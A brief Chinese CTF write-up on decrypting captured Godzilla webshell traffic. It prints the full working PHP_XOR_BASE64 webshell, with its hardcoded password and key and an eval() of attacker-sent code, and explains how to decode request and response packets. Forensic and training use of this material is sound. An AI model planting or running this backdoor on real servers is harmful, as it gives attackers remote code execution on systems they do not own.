PCTF wyz大战哥斯拉 wp

发布时间 2023-12-07 08:40:59作者: 楚颖i

PCTF wyz大战哥斯拉

下面两个应该只适用PHP_XOR_BASE64算法解密代码

echo encode(base64_decode(urldecode('')),$key);
echo gzdecode(encode(base64_decode(''), $key));

和菜刀一样,webshell,直接搜http流量

第一个request数据包,wyz里的值解密后为shell代码

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D, $K)
{
    for ($i = 0; $i < strlen($D); $i++) {
        $c = $K[$i + 1 & 15];
        $D[$i] = $D[$i] ^ $c;
    }
    return $D;
}

$pass = 'sb';
$payloadName = 'payload';
$key = '26148d621ef74844';
if (isset($_POST[$pass])) {
    $data = encode(base64_decode($_POST[$pass]), $key);
    if (isset($_SESSION[$payloadName])) {
        $payload = encode($_SESSION[$payloadName], $key);
        if (strpos($payload, "getBasicsInfo") === false) {
            $payload = encode($payload, $key);
        }
        eval($payload);
        echo substr(md5($pass . $key), 0, 16);
        echo base64_encode(encode(@run($data), $key));
        echo substr(md5($pass . $key), 16);
    } else {
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = encode($data, $key);
        }
    }
}

pass为sb,key为26148d621ef74844

第二个request数据包,带入第一个解密代码,得到test

第三个request数据包是g_close,盲猜是关闭连接,接下来哥斯拉又发送了test信息的包,接着发送了getBasicsInfo

对于test和getBasicInfo请求和相应包如下

上面是哥斯拉命令执行请求包的值,下面是服务器response包值,将前16个字符删掉(后16个也要删)就变成和上面一样的结构了

下面的命令执行包(举一个例子)

哥斯拉总结

对于PHP_XOR_BASE64:

对于MethodName的请求包,丢到第一个解密算法

请求命令包丢到第二个解密算法

response包先删前16个字符,再删后16字符,得到和命令包一样的结构后,丢到第二个解密算法